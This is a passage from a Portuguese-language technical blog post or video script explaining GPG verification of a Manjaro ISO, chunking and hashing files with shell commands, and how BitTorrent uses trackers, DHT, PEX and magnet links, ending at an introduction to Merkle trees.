<p>O problema de um arquivo .sha512 é que se baixamos os dois ao mesmo tempo, se o ISO foi adulterado no caminho, certamente o arquivo .sha512 também foi adulterado. Por isso, no exemplo, de propósito eu disse que o cenário é que baixei a ISO do aeroporto mas depois baixei o arquivo .sha512 quando cheguei em casa, numa rede confiável. Mas não precisamos confiar na rede pra checar essas coisas.</p>
<p>Antes de sair de casa, o certo é já ter instalado o pacote &ldquo;GNUPG&rdquo; o famoso GPG, que é implementação do padrão OpenPGP, de Pretty Good Privacy. É outro pacote que faz uso do conceito de chaves assimétricas, como no exemplo de TLS com RSA ou curva elíptica, lembra? Chaves pública e privada? Só que no exemplo anterior estávamos lidando com certificados .pem pra servidores web. GPG é similar, mas pra identificar pessoas, e não servidores.</p>
<p>Tendo o GPG instalado, no meu caso, que uso Manjaro, eu já teria que ter baixado as chaves GPG da equipe do Manjaro. Só fazer o download do arquivo com &ldquo;wget&rdquo; e instalar com &ldquo;gpg&rdquo; assim:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>wget gitlab.manjaro.org/packages/core/manjaro-keyring/-/raw/master/manjaro.gpg

gpg --import manjaro.gpg</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Lembra o conceito que o sistema operacional ou o navegador já trazem certificados raiz de autoridades certificadoras? Aqueles arquivos em &ldquo;/etc/ssl/certs&rdquo;? O conceito é parecido. Esse arquivo &ldquo;manjaro.gpg&rdquo; tem as chaves confiáveis da equipe do Manjaro. Tudo que a equipe de lá assinar, temos como checar agora.</p>
<p>Eu fiz isso em casa, agora estou no aeroporto e resolvi baixar a ISO do Manjaro. Uma rede pública é o oposto de confiável. Por isso recomendamos sempre usar VPN. Mas digamos que não estou numa VPN e ainda assim quero me arriscar a baixar a ISO. Como eu sei que não veio adulterado? Algum hacker esperto subiu um servidor do note dele, adulterou o DNS do roteador do aeroporto, e agora todo download que eu faço na verdade é um malware?</p>
<p>Baixamos também o arquivo &ldquo;.iso.sig&rdquo; e podemos checar com o seguinte comando. GPG verify o arquivo .sig e o arquivo ISO.</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>gpg --verify manjaro-gnome-22.1.3-230529-linux61.iso.sig manjaro-gnome-22.1.3-230529-linux61.iso
gpg: Signature made seg 29 mai 2023 06:38:26 -03
gpg:                using RSA key 3B794DE6D4320FCE594F4171279E7CF5D8D56EC8
gpg: Good signature from &#34;Manjaro Build Server &lt;build@manjaro.org&gt;&#34; [unknown]
gpg: WARNING: This key is not certified with a trusted signature!
gpg:          There is no indication that the signature belongs to the owner.
Primary key fingerprint: 3B79 4DE6 D432 0FCE 594F  4171 279E 7CF5 D8D5 6EC8</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Dentro desse arquivo de assinatura tem o hashing do ISO, assinado pelo Manjaro Build Server. Ele checa o hashing e diz &ldquo;Good Signature&rdquo;, então o binário do ISO pelo menos bate com o hashing dentro da assinatura. Mas aí tem um bugzinho que pelo jeito existe faz alguns anos no Manjaro: a chave desse servidor de build não pôde ser confirmado. Sei lá porque não vem já pré-instalado como deveria e quando vai checar dá esse aviso. O certo era ter o certificado raiz desse <a href="mailto:build@manjaro.org">build@manjaro.org</a> já no meu sistema, mas pelo visto não tem. Bug do Manjaro que até hoje não foi corrigido. Se isso mudou, mandem nos comentários abaixo.</p>
<p>O ponto todo desse exercício foi pra vocês terem na cabeça o que é um hash, uma impressão digital e uma assinatura digital. Deixa eu expandir o exemplo do download da ISO pra algo que muitos de vocês já devem ter usado pelo menos uma vez na vida: BitTorrent. De novo, objetivo do video não é ser uma explicação detalhada sobre BitTorrent, então procurem a documentação depois. Eu quero que vocês consigam entender os conceitos de criptografia que ele usa e como eles resolvem o problema de arquivos distribuídos.</p>
<p>Vamos lá, no próprio site do Manjaro, posso baixar um arquivo .torrent. Um download normal, que é o link do lado, vai puxar os 3.7 gigabytes direto do servidor da empresa do Manjaro. Mas com esse arquivo .torrent, a expectativa é conseguir baixar até mais rápido ou com mais estabilidade, porque vou baixar pedaços da ISO de diversos peers diferentes pela internet. Todo mundo que baixou a ISO e deixou o programa de BitTorrent ativo, está compartilhando o mesmo arquivo. Eu posso baixar pedaços em paralelo de várias pessoas diferentes. Essa é a idéia básica de BitTorrent.</p>
<p>Tangente de história. Nos anos 90 a internet era muito mais lenta que hoje, conexões de modem discado. No mundo dos servidores era tudo super imaturo. Ninguém sabia como manter servidores de download decentes, além de banda ser caro. Era terrível, e no meio disso surgiram os primeiros serviços de compartilhamento de arquivos, vulgo pirataria, como o lendário Napster, seguidos de copycats nos anos 2000 como Limewire, Kazaa, eDonkey e outros.</p>
<p>Mas o princípio na época era só um jeito de dizer pra outras pessoas quais arquivos tem na sua máquina pra compartilhar e deixar todo mundo baixar livremente. É o modelo mais simples de compartilhamento de arquivos. Foram anos de controvérsia, diversos processos da indústria de música, até culminar no surgimento dos primeiros serviços comerciais de venda de música e depois de assinatura como iTunes e hoje Spotify.</p>
<p>O grande defeito desse modelo simples de compartilhamento, é que era muito fácil identificar quem tinha os arquivos e ir processar direto essa pessoa, derrubando o compartilhamento. Uma vez que desliga a máquina do cara, somem os arquivos e ninguém baixa mais. Esse era o problema a ser resolvido. O problema ainda não foi totalmente resolvido, mas vamos ver como BitTorrent melhorou radicalmente nossa situação.</p>
<p>Primeiro de tudo, precisamos acabar com o conceito de um servidor único, centralizado de arquivos, de onde todo mundo puxa. É o mesmo problema do servidor de ISOs da Manjaro. Se todo mundo vai no mesmo lugar pra baixar, quanto mais gente descobrir o servidor, mais lento vai ficar pra todo mundo, e maiores os riscos desse servidor cair ou ser derrubado e todo mundo ficar sem nada.</p>
<p>Lembra da minha série sobre armazenamento, sistemas de arquivos e tudo mais? O que é um arquivo? É só um linguição de bits. Por baixo dos panos, eles são organizados como blocos de bits. Podemos picotar um arquivo como quiser e depois remontar. Inclusive é assim que eles são gravados em HDs e SSDs: fora de ordem. Vamos simular esse exercício num terminal de Linux só pra terem essa imagem na cabeça.</p>
<p>Podemos fazer isso com qualquer arquivo, seja texto ou binário, já expliquei que pro computador não faz diferença nenhuma, por baixo é tudo um linguição de bits. Só pra nós humanos que faz diferença porque arquivos texto conseguimos abrir e ler. De exemplo, peguei o script do episódio 142 que foi a explicação sobre ChatGPT. Esse script tem 94 kilobytes, ou seja, 94 mil letras. Quero conseguir dividir isso em arquivos iguais de exatamente 10 kilobytes cada, pra simular blocos de 10 kilobytes.</p>
<p>Pra isso usamos o comando &ldquo;split&rdquo; que tem em Linux. Só passar o tamanho de cada pedaço, o arquivo original e o prefixo do nome dos pedaços, que vou chamar de chunk.</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>split -b 10K subtitle_142.txt chunk_

❯ ls -la
.rw-r--r--  10k akitaonrails 18 jul 13:22  chunk_aa
.rw-r--r--  10k akitaonrails 18 jul 13:22  chunk_ab
.rw-r--r--  10k akitaonrails 18 jul 13:22  chunk_ac
.rw-r--r--  10k akitaonrails 18 jul 13:22  chunk_ad
.rw-r--r--  10k akitaonrails 18 jul 13:22  chunk_ae
.rw-r--r--  10k akitaonrails 18 jul 13:22  chunk_af
.rw-r--r--  10k akitaonrails 18 jul 13:22  chunk_ag
.rw-r--r--  10k akitaonrails 18 jul 13:22  chunk_ah
.rw-r--r--  10k akitaonrails 18 jul 13:22  chunk_ai
.rw-r--r-- 1,5k akitaonrails 18 jul 13:22  chunk_aj
.rw-r-----  94k akitaonrails 18 jul 13:21  subtitle_142.txt</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Pronto, obviamente, só o último arquivo vai ser menos que 10 kilobytes, mas vejam como consegui dividir direitinho. Posso tentar dar cat em qualquer pedaço e vai vir o trecho do script. Quebrar arquivos grandes em pedaços menores era algo que fazíamos o tempo todo nos anos 90 porque era muito arriscado tentar fazer download de um arquivo gigante. O modem podia desligar no meio do caminho, algoritmos de checagem de corrupção ainda não eram difundidos, então podia vir sujeira na linha e o arquivo ser corrompido. Se viesse corrompido, precisava mandar baixar tudo de novo do zero.</p>
<p>Então dividíamos o risco. Era melhor deixar agendado pra ir baixando um pedaço de cada vez. Se alguma coisa desse errado, só um pedaço ia ser corrompido e dava pra baixar só aquele pedaço separado depois, em vez de ter que recomeçar do zero. Hoje em dia o próprio protocolo HTTP suporta resumir um download pela metade e o protocolo TCP garante que os pacotes não vão vir corrompidos, como já expliquei na série de redes. Mas estou falando de uma era antes dessas facilidades.</p>
<p>E agora vocês já sabem. Uma forma de manualmente checar se meus pedaços vieram corretamente seria ter um arquivo com o hash de cada pedaço. Assim podemos comparar o hash do download e ver se nada foi corrompido. Lembra? Como estou falando de anos 90, poderíamos fazer o SHA1 de cada pedaço. Por exemplo, eis o hash do primeiro pedaço, com o comando sha1sum:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>❯ sha1sum chunk_aa
c3bb4df901fb79af2421cc274e9db87309bf6424  chunk_aa</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Com um pouco de mágica de script de shell, podemos fazer a mesma coisa pra todos os pedaços e colocar num arquivo &ldquo;index.txt&rdquo; da seguinte forma, fazendo, pra cada file, ou arquivo, que começa com &ldquo;chunk&rdquo;, gere o sha1 e vá adicionando nesse arquivo index.txt.</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>for file in chunk_*; do
    sha1=$(sha1sum &#34;$file&#34; | awk &#39;{print $1}&#39;)
    echo &#34;$file $sha1&#34; &gt;&gt; index.txt
done


/tmp/subtitle 
❯ cat index.txt 
chunk_aa c3bb4df901fb79af2421cc274e9db87309bf6424
chunk_ab 79a5c1fb9a9708982a92009d874bd9ee3db65a31
chunk_ac 84de6f8eb80fc64628514500b8d6b09ff930bda5
chunk_ad 2f68d9f1caffdfca69b28ae33348cdd0ca467474
chunk_ae c644daae2adcc6c87b8b4ee91052535c50edbe4f
chunk_af de3471b65337f2ffb2d97bbd6ef45b1e95d6ba88
chunk_ag 454093fda498e7f67cacb0919e3a5ffa579d0cb6
chunk_ah a0d040c39213188382dc681d7a74da283bfb07c0
chunk_ai 0469b41afb556f10c01cca5f099a81e6b5e17a31
chunk_aj 45fa07b4fdfea4a0a5c02abcad6520b652264a25</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Por isso é interessante aprender sobre scripts de shell. Abrindo o arquivo &ldquo;index.txt&rdquo; com &ldquo;cat&rdquo; temos o nome do arquivo de cada pedaço seguido do seu hash SHA1. Olhem como o sha1 do primeiro arquivo bate com o que geramos na mão antes. Então está correto. Além disso, esse arquivo me diz exatamente a totalidade dos pedaços que preciso baixar. Poderíamos fazer outro script pra baixar cada pedaço, checar o SHA1 e se vier errado, mandar refazer o download só daquele pedaço. Fica de exercício pra vocês fazerem isso.</p>
<p>Ok, fizemos o download de todos os pedaços. E agora? Como  remontamos o arquivo original? É simples, bastar dar &ldquo;cat&rdquo; de todos os pedaços e redirecionar pra um arquivo final, assim, cat chunk asterisco maior pra restored.txt:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>cat chunk_* &gt; restored.txt

❯ sha512sum restored.txt   
bfec6c9efe398146b8197b7b0258860563f6057dac7f6d1931ec5d4118c730d47007678ddd2cf9387b5b02903c7dd35a1911a2da4707d624ce4e996514a766c6  restored.txt

/tmp/subtitle 
❯ sha512sum subtitle_142.txt 
bfec6c9efe398146b8197b7b0258860563f6057dac7f6d1931ec5d4118c730d47007678ddd2cf9387b5b02903c7dd35a1911a2da4707d624ce4e996514a766c6  subtitle_142.txt</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Isso funciona em shells modernos porque a maioria sempre lista os arquivos em ordem alfabética. Caso o seu não faça isso, precisaria primeiro usar o comando &ldquo;sort&rdquo;, de novo, fica de exercício. Mas assumindo que o cat pegou cada arquivo chunk na ordem certa, como sei que o arquivo restored.txt realmente é idêntico ao original? Vocês já sabem né? Só comparar o hash dos dois. E como podem ver, é exatamente igual. Se um único bit tivesse vindo errado, os hashes seriam diferentes.</p>
<p>Estão entendendo como podemos manipular qualquer tipo de dados e garantir a integridade deles via ferramentas criptográficas? Sabendo desses conceitos, vou fazer uma explicação super de alto nível pra explicar como BitTorrent tira proveito disso que acabei de explicar.</p>
<p>Existem duas formas de baixar um arquivo via Torrent. Um é baixando um arquivo .torrent, como aquele do site do Manjaro. Podemos usar o programa &ldquo;transmission-show&rdquo; que vem no pacote &ldquo;transmission-cli&rdquo; pra abrir e ver o conteúdo desse arquivo.</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>❯ transmission-show manjaro-gnome-22.1.3-230529-linux61.iso.torrent 
Name: manjaro-gnome-22.1.3-230529-linux61.iso
File: manjaro-gnome-22.1.3-230529-linux61.iso.torrent

GENERAL

  Name: manjaro-gnome-22.1.3-230529-linux61.iso
  Hash v1: 68617f6ffc9f95bbca41733556f666739f647f9c
  Created by: mktorrent 1.1
  Created on: Mon May 29 06:38:30 2023

  Piece Count: 1769
  Piece Size: 2.00 MiB
  Total Size: 3.71 GB
  Privacy: Public torrent

TRACKERS

  Tier #1
  udp://tracker.opentrackr.org:1337

WEBSEEDS

  https://download.manjaro.org/gnome/22.1.3/manjaro-gnome-22.1.3-230529-linux61.iso

FILES

  manjaro-gnome-22.1.3-230529-linux61.iso (3.71 GB)</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>O importante desse arquivo é que ele identifica o que vamos baixar, no caso o ISO, e onde podemos achar esse arquivo. Primeiro temos esse tal de tracker. Um tracker é um servidor que contém listas de peers que estão online e que tem o arquivo com este hash. Se tiver pelo menos 1 peer ativo que seja um seeder, vai começar a baixar. Peer é o nome que damos pra qualquer máquina, PC, servidor, participando dessa rede. Um tracker não necessariamente tem o arquivo ou seus pedaços, mas sabe quem pode ter, que são os peers.</p>
<p>Você já deve ter visto essa nomenclatura em programas de torrent como QBitTorrent ou Transmission. Quanto mais seeders tiver ativo, melhor será o download. Seeder são computadores online que também estão compartilhando o mesmo arquivo ou pedaços. Leechers são computadores online fazendo download mas não contribuindo em nada. Parasitando mesmo, leeching. O algoritmo do BitTorrent tenta ser justo e deixar download mais rápido pra quem contribui e download mais lento pra quem é só parasita.</p>
<p>Trackers só compartilham e sincronizam a lista de peers, peers podem ser tanto seeders quanto leechers. Quanto mais seeders, mais rápido o download, quanto mais leechers e menos seeders, mais lento o download. O mundo ideal é todo mundo ser seeder. Alguns são chatos e desligam mesmo, outros realmente não conseguem contribuir porque a rede do provedor bloqueia e eles não sabem como furar firewall. Eu falo de furar firewall na série de redes. Depois procurem saber mais como habilitar portas, usar VPN pra torrent e coisas assim, não vou falar disso hoje.</p>
<p>Vamos voltar pro arquivo .torrent. Olhem outras informações que ele nos dá. Sabemos que o arquivo ISO tem 3.7 gigabytes, como já repeti várias vezes, e sabemos que este torrent está organizado em mil setecentos e sessenta e nove pedaços de 2 megabytes cada. Lembra os chunks que fiz usando o comando split? É a mesma coisa. Ele não mostra aqui, mas dentro desse torrent vai ter uma lista de pedaços seguido do hash de cada pedaço, parecido com aquele arquivo &ldquo;index.txt&rdquo; que fiz no exemplo.</p>
<p>Cada seeder que o tracker conhece, vai ter ou o arquivo inteiro ou o arquivo parcial, porque ainda não terminou o download. Agora eu, que comecei o download agora, começo a baixar cada um desses pedaços de cada um dos seeders disponíveis, em paralelo. Por exemplo, digamos que na rede tenha o seeder John, a seeder Sara e o seeder Kyle. E eu vou baixar aquele meu arquivo de script. Começo a baixar o chunk_aa do John, o chunk_ab da Sara, o chunk_ac do Kyle e assim por diante.</p>
<p>Toda vez que um chunk termina de baixar, consigo checar o hash e sei que tá correto, daí peço o chunk seguinte, distribuindo a carga entre todos os seeders. Se outra pessoa aparecer pedindo o mesmo arquivo, talvez ele pegue um chunk de mim. Entenderam? O seeder não precisa ter o arquivo completo pra começar a contribuir, basta ter pelo menos um chunk completo. E por isso, quanto mais gente tiver, menos pesado fica pra todo mundo, especialmente pro servidor principal da Manjaro. É a base de computação distribuída.</p>
<p>Se não tiver nenhum seeder ativo, o arquivo .torrent aponta pra um Webseed, que é o link pro arquivo original no servidor da Manjaro. Daí seria como um download direto normal mesmo. Entenderam até aqui: com uma lista de pedaços e seus respectivos hashes, distribuídos entre diversos computadores num swarm, ou enxame, e cada um baixando um pedaço do computador do outro, até todo mundo ter o arquivo completo, essa é a arquitetura básica por trás do BitTorrent.</p>
<p>BitTorrent é &ldquo;decentralizado&rdquo; no sentido que, diferente de um iTunes da Apple, não tem uma única empresa nem um único servidor que centraliza os downloads. Eis alguns mecanismos que tornam o BitTorrent resiliente, embora não totalmente invulnerável.</p>
<p>De cara, poderíamos pensar que se derrubarmos quem mantém trackers, poderíamos parar um enxame, não? Primeiro, não existe somente um tracker, existem diversos trackers servindo um de backup pro outro. Precisaria derrubar todos os trackers em atividade no mundo. Mas isso não seria suficiente.</p>
<p>Toda vez que você abre um programa como Transmission ou Nano Torrent da vida, ele faz &ldquo;bootstrapping&rdquo; usando uma lista de &ldquo;bootstrapping nodes&rdquo;, uma lista de nós bem conhecidos na rede que acreditamos que costumam estar online, vários deles. São esses nós que nos ajudam a achar outros nós. Assim como trackers, eles também não são pontos únicos de falha.</p>
<p>Quando seu programa se conecta e acha um tracker ou um bootstrapping node, ele se junta à rede DHT ou Hash Table distribuído. Cada nó que entra na rede armazena informação sobre a rede toda ou um pedaço da rede. Então, quando você pergunta ao DHT por alguma coisa, seu cliente de BitTorrent manda uma requisição pra um nó que ele conhece. Esse nó ou vai ter a informação e te retornar ou vai te direcionar pra outro nó que pode saber essa informação. A partir desse ponto você, como nó da rede, passa a ter essa informação e pode responder a alguém que te perguntar também. Todo mundo se torna backup e contribui pra outras pessoas.</p>
<p>O conceito de trackers é um pouco obsoleto na realidade, das primeiras versões de BitTorrent. Ele veio evoluindo e agora temos o conceito de DHT e PEX que é Peer Exchange. Mesmo derrubando todos os trackers, cada pessoa conectada na rede contribui pra distribuir a informação do resto da rede. Hoje em dia os programas de BitTorrent implementam as duas maneiras.</p>
<p>Eu falei do arquivo .torrent que baixamos pra começar um download via BitTorrent, mas nem precisamos desse arquivo. Vocês já devem ter visto o que se chama de link magnético, que é tipo uma URL que usa o protocolo &ldquo;magnet&rdquo;. Lembram o arquivo .torrent da ISO do Manjaro que baixamos? Podemos gerar um link a partir dele usando o programa &ldquo;transmission-show&rdquo; com a opção &ldquo;-m&rdquo;:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>❯ transmission-show -m /mnt/terachad/Downloads/manjaro-gnome-22.1.3-230529-linux61.iso.torrent
magnet:?xt=urn:btih:68617f6ffc9f95bbca41733556f666739f647f9c&amp;dn=manjaro-gnome-22.1.3-230529-linux61.iso&amp;tr=udp%3A%2F%2Ftracker.opentrackr.org%3A1337&amp;ws=https%3A%2F%2Fdownload.manjaro.org%2Fgnome%2F22.1.3%2Fmanjaro-gnome-22.1.3-230529-linux61.iso</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>É esse link que encontramos em diversos sites que listam torrents pra baixar. Veja num Piratebay da vida, onde tem esse ícone de ímã. Quando clica, automaticamente pede pra abrir seu programa de Torrent instalado. A parte mais importante é esse &ldquo;btih&rdquo; logo no começo que é o BitTorrent InfoHash, o hash que identifica unicamente esse arquivo de ISO. O resto ajuda mas é opcional. Por exemplo, ele tem o link pro webseed caso ninguém esteja oferecendo o arquivo na rede e também o link pra um tracker.</p>
<p>Vamos fazer um html idiota com o link pra esse magnet. Um link com a URL inteira que foi gerado e um segundo link só com o infohash.</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>&lt;html&gt;
 &lt;body&gt;
  &lt;p&gt;&lt;a href=&#34;magnet:?xt=urn:btih:68617f6ffc9f95bbca41733556f666739f647f9c&amp;dn=manjaro-gnome-22.1.3-230529-linux61.iso&amp;tr=udp%3A%2F%2Ftracker.opentrackr.org%3A1337&amp;ws=https%3A%2F%2Fdownload.manjaro.org%2Fgnome%2F22.1.3%2Fmanjaro-gnome-22.1.3-230529-linux61.iso&#34;&gt;Magnet pro ISO&lt;/a&gt;&lt;/p&gt;
  &lt;p&gt;&lt;a href=&#34;magnet:?xt=urn:btih:68617f6ffc9f95bbca41733556f666739f647f9c&#34;&gt;Magnet pro ISO (só infohash)&lt;/a&gt;&lt;/p&gt;
 &lt;/body&gt;
&lt;/html&gt;</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Se abrir num navegador e clicar no link, o media type está associado ao QBitTorrent instalado no meu Manjaro. Ele abre e oferece pra começar a baixar. Se eu abrir pelo segundo link, mesmo sem informação de webseed e nem de tracker, só com o infohash, olha só, abre normalmente e oferece pra baixar igual. Isso porque o QBitTorrent na minha máquina se uniu à rede, via DHT e PEX e conseguiu achar os seeders e já sabe como começar a baixar.</p>
<p>Entenderam? Pra parar um arquivo de ser compartilhado, não basta derrubar todos os trackers, precisa parar 100% de todo mundo que está compartilhando o arquivo, de todas as partes do mundo, ao mesmo tempo. Se tiver só um nó na rede funcionando, dá pra continuar compartilhando, porque via DHT e PEX, essa informação vai voltar a ser distribuída. Computação distribuída é fascinante por causa disso: ninguém consegue parar somente com uma canetada sem comprometer a internet inteira de funcionar direito. Por isso eu gosto desse conceito.</p>
<p>DHT e PEX são assuntos fascinantes por si só, pra garantir a descentralização da rede, então espero que vocês pesquisem mais sobre isso depois. Ótimo tema pra TCC. Mas tem um assunto menos comentado que eu acho ainda mais interessante. É o conceito de Árvores de Hashes ou Merkle Trees, nome dado por causa do criador do conceito, Ralph Merkle, que inventou isso no fim dos anos 70.</p>
<p>Vamos lá. O que temos até agora é um arquivo &ldquo;index.txt&rdquo; com uma lista de chunks ou pedaços daquele meu arquivo de script. 10 pedaços com o hash SHA1 do lado de cada um, lembram? Numa versão rudimentar de BitTorrent, eu poderia ter baixado esse arquivo e perguntado na tabela distribuída de hashes, o tal DHT, de onde baixar cada pedaço, identificado pelo SHA1, que serve como um ID único pra cada pedaço.</p>
<p>Depois que fizer o download de cada pedaço, basta rodar o comando &ldquo;sha1sum&rdquo; e comparar o hash com o que tem no arquivo &ldquo;index.txt&rdquo;. Se bater é porque veio correto, sem corromper nem nada. No final, basta concatenar os pedaços como fiz antes, gerar o hash do arquivo todo, comparar com o hash mestre do arquivo original, pra garantir que tenho o mesmo arquivo no final. Parece simples e parece que só isso é o suficiente.</p>
